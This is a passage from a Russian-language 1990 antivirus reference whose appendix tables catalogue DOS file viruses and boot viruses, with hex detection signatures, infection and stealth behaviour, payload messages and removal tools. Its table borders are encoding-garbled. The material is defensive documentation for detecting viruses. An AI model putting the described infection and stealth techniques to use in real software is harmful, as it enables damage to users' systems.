_*# Plastique, _RCE-3012 _Pla_ _ _D _Cn Itc-tp Mc Seo _Тайвань: июль 1990 _
_ Plastic Bomb, _ _ _ _ _HR_21 _Помимо размножения других эффектов не отме- _
_ (Пластиковая _ _ _ _ _DR_l 3264 _но _
_ бомба), _ _ _ _ _ _ _ _
_ Plastique 3012_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* 3066, _RCE-3066 _Ier_1_ _D _Bv Cn Li Soc2 _октябрь 1988 _
# Traceback _ _ _ _ _M _14 8B 4D 16 8B C1 8A CD _При выполнении зараж. программы инсталлиру- _
(Обратное _ _ _ _ _I _E87106E82806B419CD2189B4510 _ется в оперативной памяти и заражает откры- _
прослеживание) _ _ _ _ _+ _18184510184088C8C5301 _ваемые программы. После 5.12.88 дополнитель-_
_ _ _ _ _C _E87106E82806B419CD2189B451018184 _но пытается заразить один файл находя его _
_ _ _ _ _ _ _поиском по дереву, начиная с корневого ката-_
_ _ _ _ _ _ _лога. Процесс поиска оканчивается, если по- _
_ _ _ _ _ _ _падается уже зараженный файл. После 28.12.88_
_ _ _ _ _ _ _каждый час после загрузки создает эффект па-_
_ _ _ _ _ _ _дающих букв, аналогичный RC-1701. При нажа- _
_ _ _ _ _ _ _тии клавиши в момент падения букв система _
_ _ _ _ _ _ _зависает. Через минуту процесс падения пре- _
_ _ _ _ _ _ _кращается и буквы возвращаются на исходные _
_ _ _ _ _ _ _позиции.В теле вируса содержится полный путь_
_ _ _ _ _ _ _к предыдущей зараженной программе, что поз- _
_ _ _ _ _ _ _воляет по цепочке выявить все инфицированные_
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_программы. Отсюда и название вируса. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_# Traceback-B _RCE-3066b _Ier_ _1_D _Cy Li Soc2 _Испания: март 1990 _
_ (Обратное _ _ _ _ _M _ _Штамм RCE-3066 заражающий COMMAND.COM. _
_ прослеживание) _ _ _ _ _T _MICRODIC MSG _Эффект падающих букв отсутствует. Зараженные_
_ _ _ _ _ _ _ _файлы содержат имя самой зараженной програм-_
_ _ _ _ _ _ _мы, а не предыдущей. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
# Traceback-B2 _RCE-3066c _Ier_ _1_M _ _Испания: май 1990 _
(Обратное _ _ _ _ _T _ XPO DAD _Практически совпадает с RCE-3066b, но эффект_
прослеживание) _ _ _ _ _ _ _падающих букв присутствует. Строка _
_ _ _ _ _ _ _MICRODIC MSG заменена на XPO DAD _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* 3551, _ CE-3551 _ _1_ _D _ Cy Itp Mс _ _
Syslock _ _ _ _ _I _ D1E98AE18AC1 _При выполнении инфицированной программы _
_ _ _ _ _+ _ 3306140031044646E2F25E5958C3 _вирус ищет во всех подкаталогах текущего _
_ _ _ _ _M _ 3306140031044646E2F2 _диска очередную жертву и заражет ее. Через _
_ _ _ _ _ _ _случайные промежутки времени выдает ложное _
_ _ _ _ _ _ _диагностическое сообщение: _
_ _ _ _ _ _ _ Error writing to device AUX _
_ _ _ _ _ _ _Ищет в файлах строку Microsoft в любой _
_ _ _ _ _ _ _комбинации строчных и прописных букв и заме-_
_ _ _ _ _ _ _няет ее на строку MACROSOFT или в некото- _
_ _ _ _ _ _ _рых штаммах на строку MACHOSOFT. _
_ _ _ _ _ _ _Если переменная среды SYSLOCK = @ (40h) _
_ _ _ _ _ _ _то вирус сразу передает управление заражен- _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ной программе _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Fish Virus _RCE-03584 _St _1_<_D _ Bs Cy Mclmf So _Западная Германия: май 1990 _
_ _ _!!!_ _ _DR_aw4096(без перехвата 13h) 8192 (с перех.) _Штамм RCE-04096. _
_ European Fish _ _ _ _ _M _0E 01 CF E8 00 00 5B 81 EB A9 _Вирус замедляет запись в видеопамять что мо-_
_ _ _ _ _ _T _FISH FI /* в конце зараженных файлов, _жет приводить к появлению снега на экране _
_ Fish 6 _ _ _ _ _ _ но не всегда */ _дисплея. При просмотре оперативной памяти _
_ _ _ _ _ _ _ _на зараженном компьютере видны имена рыб. _
_ Stealth Virus _ _ _ _ _ _ _При резидентном вирусе программы, контроли- _
_ _ _ _ _ _ _ _рующие контрольную сумму не обнаруживают _
_ _ _ _ _ _ _ _изменений, поскольку вирус предварительно _
_ _ _ _ _ _ _выкусывает себя из каждой зараженной прог- _
_ _ _ _ _ _ _раммы _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* ItaVir _ E-3880 _ _1_ _D _Aw Itc _Италия(Милан), начало 1990, Andrea Omodeo, _
_ _ _ _ _ _M _B8 58 45 89 40 02 B0 00 88 40 04 _Massilimiano Lehmann и другие студенты Ми- _
_ _ _ _ _ _ _ _ланского политехнического института. _
_ _ _ _ _ _ _В инфицированной системе имеется файл с име-_
_ _ _ _ _ _ _нем *OMMAND.COM, где * означает непечата- _
_ _ _ _ _ _ _емый символ, который содержит чистое тело _
_ _ _ _ _ _ _вируса, используемое для дописывания к _
_ _ _ _ _ _ _заражаемым файлам. _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_Фаза проявления наступает при определенном _
_ _ _ _ _ _ _времени работы системы без перезагрузки _
_ _ _ _ _ _ _(по видимому, случайное число > 24). _
_ _ _ _ _ _ _При этом вирус последовательно пишет во все _
_ _ _ _ _ _ _порты числа от 0 до 255, что ведет к уничто-_
_ _ _ _ _ _ _жению бутсектора, различным эффектам на _
_ _ _ _ _ _ _видеомониторе (мигание, снег и др.). _
_ _ _ _ _ _ _Кроме того затирается бутсектор и выдается _
_ _ _ _ _ _ _сообщение на итальянском языке. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Plastique-B, _RCE-4096b _Pla_ _ _D _Cn Itc-tp Mc Seo _Тайвань: июль 1990 _
_ Plastic Bomb, _ _ _ _ _HR_08, 09, 13, 21, ED _Более поздняя версия RCE-3012 _
_ (Пластиковая _ _ _ _ _DR_L 5120 _Помимо размножения других эффектов не отме- _
_ бомба), _ _ _ _ _ _ _но _
_ Plastique 5.21_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# TCC _CE-4909 _ _ _ _D _Cy Itp-tp Sds To _Франция (Париж): август 1990 _
_ _ _ _ _ _M _21 B4 3F B9 18 00 8D 16 88 02 8D 36 86 02 _При запуске зараженной программы вирус зара-_
_ _ _ _ _ _ +_8B 1C _жает все файлы на текущем диске за исключе- _
_ _ _ _ _ _ _ _нием очень маленьких файлов. Кроме того ви- _
_ _ _ _ _ _ _рус ищет на диске С файл COMMAND.COM и если _
_ _ _ _ _ _ _он еще не заражен, то заражает его. _
_ _ _ _ _ _ _Другие проявления неизвестны. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 5120, _СE-5120 _ _1_ _D _Ba Cy Itс-tp Sct _Германия: май 1990. _
_ VBasic, _ _ _ _ _M _10 A2 F6 0F E8 D0 FE 80 3E 4A 10 02 7D 22 _Вирус написан на Турбо Бейсике. _
_ _ _ _ _ _ +_C6 46 _Портит файлы данных и сращивает файлы _
_ Basic Virus _ _ _ _ _T1_BASRUN _Строки Т1-Т6 расположены в конце зараженного_
_ _ _ _ _T2_BRUN _файла. Впрочем имеется штамм, где эти строки_
_ _ _ _ _T3_IBMBIO.COM _закодированы _
_ _ _ _ _T4_IBMDOS.COM _ _
_ _ _ _ _T5_COMMAND.COM _ _
_ _ _ _ _T6_Access denied _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Joker Virus _ CE-xxxx _ _ _ _D _Cy _Польша, декабрь 1989 _
_ (Шутник), _ _ _ _ _M _5607450721071D49276D20736F206D7563 _При исполнении зараженной программы выдается_
_ Jocker _ _ _ _ _C _5607450721071D49276D20736F206D75 _выбираемое случайным образом сообщение _
_ _ _ _ _ _T1_Incorrect DOS version _T1-T18. Кроме того вирус искажает DBF _
_ _ _ _ _ _T2_Invalid Volume ID Format failure _файлы (по видимому этими же сообщениями). _
_ _ _ _ _ _T3_Please put a new disk into drive A: _ _
_ _ _ _ _ _T4_End of input file _ _
_ _ _ _ _T5_END OF WORKTIME. TURN SYSTEM OFF! _ _
_ _ _ _ _T6_Divide Overflow _ _
_ _ _ _ _T7_Water detect in Co-processor _ _
_ _ _ _ _T8_I am hungry! Insert HAMBURGER into drive A_ _
_ _ _ _ _T9_NO SMOKING, PLEASE! _ _
_ _ _ _ _10_ Thanks. _ _
_ _ _ _ _11_Don't beat me !! _ _
_ _ _ _ _12_Don't drink and drive. _ _
_ _ _ _ _13_Another cup of cofee ? _ _
_ _ _ _ _14_ OH, YES! _ _
_ _ _ _ _15_Hard Disk head has been destroyed. Can you_ _
_ _ _ _ _ +_ borow me your one? _ _
_ _ _ _ _16_Missing light magenta ribbon in printer! _ _
_ _ _ _ _17_In case mistake, call GHOST BUSTERS _ _
_ _ _ _ _18_Insert tractor toilet paper into printer. _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* 12 Tricks _ _ _ _ _ _ _Проявления неизвестны _
_ Trojan _ _ _ _ _M1_64 02 31 94 42 01 D1 C2 4E 79 F7 _ _
_ _ _ _ _M2_E4 61 8A E0 0C 80 E6 61 (* версия-B*) _ _
_ _ _ _ _C _64 02 31 94 42 01 D1 C2 4E 79 F7 _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
Cookie _RCE-nnnn _ _1_ _ _ _Выдача на экран сообщения I WANT _
(Печенье), _ _ _ _ _ _ _COOKIE (я хочу печенья). Только ввод _
Cookie Monster_ _ _ _ _ _ _с клавиатуры слова COOKIE позволяет _
(Печеньевое _ _ _ _ _ _ _продолжить работу с программой. Неко- _
Чудовище) _ _ _ _ _ _ _торые штаммы этого вируса стирают _
_ _ _ _ _ _ _файлы при неправильном ответе _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДБДДДДДДДДДДБДДДБДБДБДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ПРИЛОЖЕНИЕ 4
Классификационная таблица бутовых вирусов, известных по литературе на 1.08.90
ДДДДДДДДДДДДДДДДДДВДДДДДДДДВДДДВДВДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї
_Класси- _ Г _Р_Д_ Дескриптор, сигнатуры и фаги _ _
Неформальные _фикаци- _ р _а_иГДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_ Страна и дата обнаружения, _
названия _онный _ у _с_н_В _ _ фамилия исследователя обнаружевшего _
_код _ п _п_а_и _ Значение _ и изолировавшего вирус (если известны), _
_вируса _ п _р_м_д _ _ вызываемые эффекты _
_ _ а _о_к_ _ _ _
_ _ _с_а_ _ _ _
_ _ _т_ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
$ Yale (Йельский),_ WB-hh _Ala_1_ _D _ L512 S39.8.0 _США(Меррит-колледж, Калифорния): 04.87 _
* Alameda(Аламеда), _ _ _ _DR_u 1K _Первый бутовый вирус, выжывавший при теплой переза-_
Merrit, _ _ _ _ _M _B4 00 CD 13 72 0D B8 01 _грузке. Хвост вируса состоит только из оригинального _
Peking (Пекин), _ _ _ _ _I _BB40008EDBA11300F7E32DE0078EC00 _бутсектора и записывается по абсолютному адресу _
Seoul (Сеул) _ _ _ _ _+ _E1F81FF56347504FF0EF87D _39/8/0. Если этот сектор распределен какому-нибудь _
_ _ _ _ _ _ _файлу, то содержащаяся в нем информация уничтожается._
_ _ _ _ _ _ _Если нет, то при распределении оригинальный _
_ _ _ _ _ _ _(неинфицированный) бутсектор будет уничтожен и при _
_ _ _ _ _ _ _перезагрузке машина зависнет. Оригинальная версия _
_ _ _ _ _ _ _работоспособна только на PC/XT (код содержит недопус-_
_ _ _ _ _ _ _тимую для 80286/80386 команду) _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# SF Virus _ WB-hh _Ala_1_~_ _ _США(Калифорния): декабрь 1987 _
_ _ _ _ _ _ _ _Штамм вируса Alameda, имеющий фазу проявления после _
_ _ _ _ _ _ _ _заражения 100 дискет. При активации форматирует _
_ _ _ _ _ _ _ _дискету. Инфицирует только 360К дискеты. _
_ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Golden Gate _ WB-hh _Ala_1_~_ _ _США(Калифорния): 1988 _
_ (Золотые ворота),_ _ _ _ _ _ _Штамм вируса Alameda, имеющий фазу проявления при _
_ Mazatlan, _ _ _ _ _ _ _достижении количества инфицированных дискет числа 500_
_ 500 Virus _ _ _ _ _ _ _Фаза проявления состоит в форматировании диска С. _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
# Swap _ Dx1-hh _PP _1_ _D _ L 740 _Израиль: август 1989 _
(Перестановка), _ _ _ _ _DR_u 2K _Создает один псевдосбойный кластер на 39 треке секто-_
$ Falling Letters _ _ _ _ _I _31C0CD13B80202B90627BA0001 _ра 6 и 7. Если эти сектора уже распределены, то вирус_
Boot, _ _ _ _ _+ _BB00208EC3BB0001CD139A00010020 _не заражает дискету. В байтах B7h-E4h сектора 7 _
(Падающие буквы/ _ _ _ _ _M _CD 13 B8 02 02 B9 06 27 BA 00 01 _содержится сообщение T1. В зараженном бутсектора _
бутовый), _ _ _ _ _T1_The Swapping-Virus. _стандартные текстовые собщения отсутствуют. _
* Israeli Boot, _ _ _ _ _ +_ (C) June, 1989 by the CIA _ _
(Израильский _ _ _ _ _ _ _ _
бутовый), _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Typo _ Bx1-hh _PP _1_ _D _ L512+xxx Sx1 Mn Wn _Израиль, июнь 1989 или конец 1988 _
(Опечатка), _ _ _ _ _DR_u 2K _Израильская мутация вируса Bx1-1C(Ping-Pong). _
$ MisSpeller _ _ _ _ _M _24 13 55 AA _Вносит ошибки в данные передаваемые через параллель- _
_ _ _ _ _ _ _най порт (обычно к этому порту подключен принтер), _
_ _ _ _ _ _ _заменяя V на W, C на K, J на G и т.д. Цифры в числах _
_ _ _ _ _ _ _могут быть переставлены или заменены. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Chaos _ B-hh _ _1_ _M _A1 49 43 68 41 4F 53 50 52 51 E8 _Великобритания (Кент): декабрь 1989 _
(Хаос) _ _ _ _ _T1_Welcome to the New Dungeon _Имеющиеся сведения противоречивы. По одним вирус _
_ _ _ _ _T2_Chaos _повреждает файлы типа .PRT, по другим при активации _
_ _ _ _ _T3_Letz be cool guys _заполняет диск псевдосбойными кластерами. _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* Korea _ D-hh _ _1_ _M _8E D0 BC F0 FF FB BB 13 04 _Южная Корея(Сеул): март 1990 _
_ (Корейский), _ _ _ _ _ _ _Хвост состоит из оригинального бутсектора и записыва-_
LBC boot _ _ _ _ _ _ _ется в сектор 11 - последний сектор корневого катало-_
_ _ _ _ _ _ _га. При этом возможно затирание части каталога. _
_ _ _ _ _ _ _Помимо размножения проявлений нет _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* EDV Virus _ M-hh _ _1_ _ _ _США: январь 1990 _
_ _ _ _ _ _M _75 1C 80 FE 01 75 17 5B 07 1F 58 83_В конце зараженного бутсектора имеется строка T1. _
_ _ _ _ _F _CLEANUP v62+ (6-90) _По данным П.Хофман при выполнениии некоторых прог- _
_ _ _ _ _T _MSDOS Vers. E.D.V. _рамм наблюдаются сбои и могут быть уничтожены неко- _
_ _ _ _ _ _ _торые данные (впрочем эта фраза подходит к любому бу-_
_ _ _ _ _ _ _овому вирусу) _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Pentagon _WD-hh _ _1_~_D _ Mc _США, 1988 _
(Пентагон) _ _ _ _ _DR_u 5K _Вирус не заражает дискеты, уже зараженный вирусом _
_ _ _ _ _M _EB 34 90 48 41 4C 20 20 _Dx3-E9. Тело вируса закодировано и содержит текст _
_ _ _ _ _ _ _(с) 1987 The Pentagon, Zorell Group$. _
_ _ _ _ _ _ _Голова вируса представляет собой слегка модифициро- _
_ _ _ _ _ _ _ванный бутсектор MS DOS 3.2 в котором вместо слово _
_ _ _ _ _ _ _IBM заменено на HAL и двух файлов. Первый с именем _
_ _ _ _ _ _ _F9h содержит хвост вируса, а второй - PENTAGON.TXT _
_ _ _ _ _ _ _похоже не используется и не содержит данных (следы _
_ _ _ _ _ _ _отладки ?). Вирус переживает теплую перезагрузку. _
_ _ _ _ _ _ _Хвост вируса закодирован. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Ohio _ D-hh _ _4_ _M _EB 29 90 49 34 12 00 01 00 00 00 00_Индонезия, США: июнь 1988 _
(Огайо) _ _ _ _ _T1_V I R U S _Заражает только 360K дискеты. Код аналогичен коду _
_ _ _ _ _T2_ b y _вируса Den Zuk и скорее всего Ohio является ранней _
_ _ _ _ _T3_ The Hackers _версией последнего. Дискета, зараженная вирусом Ohio _
_ _ _ _ _T4_ Y C 1 E R P _иммунизирована против заражения вирусом Brain. _
_ _ _ _ _T5_D E N Z U K 0 _В теле вируса имеются строки T1-T8. _
_ _ _ _ _T6_Bandung 40254 _ _
_ _ _ _ _T7_ Indonesia _ _
_ _ _ _ _T8_(C) 1988, The Hackers Team.... _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Ghost Virus _ D-hh _ _1_ _M _90 EA 59 EC 00 F0 90 90 _По сути это не вирус, а троянская программа, распро- _
(Бутовое приви- _ _ _ _ _ _ _сраняемая файловым вирусом C-2351 (Ghost file virus),_
дение) _ _ _ _ _ _ _Последний заражает этти троянцем 360K дискеты в диско_
$ Ghost Boot virus_ _ _ _ _ _ _воде A. Данный троянец аналогичен вирусу Bx1-1C, _
_ _ _ _ _ _ _не обладает способностью инфицировать другие дискеты._
_ _ _ _ _ _ _Оригинальный бутсектор записывается в сектор 39.9.1, _
_ _ _ _ _ _ _уничтожая данные которые там хранились до этого _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*$ 2730 _ _ _1_ _D _ _1989; _
_ Nichols _ _ _ _ _M _91 77 91 7A A4 B7 57 00 56 00 00 00_Проявления неизвестны _
_ _ _ _ _F _CLEANUP v62+ (6-90) _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ *# AirCop _D-hh _ _1_ _ _ _Тайвань, США (Вашингтон): июль 1990 _
_ _ _ _ _ _M _BE C5 01 E8 3E FF EB DF E4 00 _Заражает только дискеты. На обычной 360Л дискете _
_ _ _ _ _ _ _ _сохраняет оригинальный бутсектор в секторе 719 _
_ _ _ _ _ _ _ _(1/39/9). На большинстве систем через случайные ин- _
_ _ _ _ _ _ _ _тервалы времени выдает на экран сообщение: _
_ _ _ _ _ _ _ _ Red State, Germ Offensive. _
_ _ _ _ _ _ _ _ AIRCOP. _
_ _ _ _ _ _ _ _На некоторых не совсем совместимых ЗС вместо сооюще- _
_ _ _ _ _ _ _ _ния выдается Stack Overflow Error _
_ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# FORM _B-hh _ _ _ _D _ _Швейцария: июнь 1990 _
_ _ _ _ _ _M _E8 B2 00 5A 5E 1F 33 C0 50 B8 00 7C_В коде вируса имеются текстовые строки Т1-Т3. Перевод_
_ _ _ _ _ _T1_The FORM-Virus sends greetings _Т1: FORM-вирус приветствует всех читающих этот текст._
_ _ _ _ _ _ +_to everyone who's reading this text_Т2: FORM не разрушает данных! _
_ _ _ _ _ _T2_FORM doesn't destroy data! _Т3: Без паники ! ........ .. .. ....... _
_ _ _ _ _ _T3_Don't panic! Fuckings go to Corinne_ _
_ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Mardi Bros _ D-hh _ _1_ _D _ _Франция: июль 1990 _
_ _ _ _ _ _DR_u 7K _При заражении имя дискеты изменяется на Mardi Bros._
_ _ _ _ _T1_Sudah ada vaksin _CHKDSK выдает для зараженных дискет следующую инфор- _
_ _ _ _ _M _D8 8E D0 BC 00 F0 FB E8 27 _мацию о метке тома _
_ _ _ _ _ _ _ Volume Mardi Bros created ira 0, 1980 12:00a _
_ _ _ _ _ _ _В зараженном бутсекторе текстовые сообщения нормаль- _
_ _ _ _ _ _ _ного бутсектора сохраняются. Дополнительно появляется_
_ _ _ _ _ _ _строка T1. По видимому других проявлений, помимо _
_ _ _ _ _ _ _размножения и изменения меток вирус не имеет. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Microbes _B-hh _ _4_<_D _ _Индия(Бомбей): июнь 1990 _
_ (Микроб) _ _ _ _ _M _8E D0 BC 00 F0 FB A1 13 04 2D 04 _Проявления неизвестны _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Print Screen _ B-hh _PP _1_ _D _ _Индия(Бомбей): ноябрь 1989, Neville Bulsara. _
_ EB 21, _ _ _ _ _DR_u 2K _Основан на Bx1-1C (Ping-Pong) и некоторые антивирус- _
_ 8290, _ _ _ _ _M1_7401BF0300B92000F3A4 /* штамм 2 */ _ные программы идентифицируют его ошибочно. _
_ PRTSC Virus _ _ _ _ _M2_CD05FEC8A26001C36F6E2D /штамм 1*/ _На дискетах копирует свой хвост в 11 сектор. _
_ _ _ _ _ _ _На зараженных системах с винчестером наблюдается за- _
_ _ _ _ _ _ _метное замедление доступа к диску. После каждых 255 _
_ _ _ _ _ _ _дисковых операций выдает дамп экрана на принтер. _
_ _ _ _ _ _ _Имееется более ранний штамм, в котором эта ветвь _
_ _ _ _ _ _ _реализована с ошибкой и вирус только размножается _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДБДДДДДДДДБДДДБДБДБДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ПРИЛОЖЕНИЕ 5
Перечень отечественных антивирусных средств,
помещенных в выпусках электронного бюллетеня СОФТПАНОРАМА
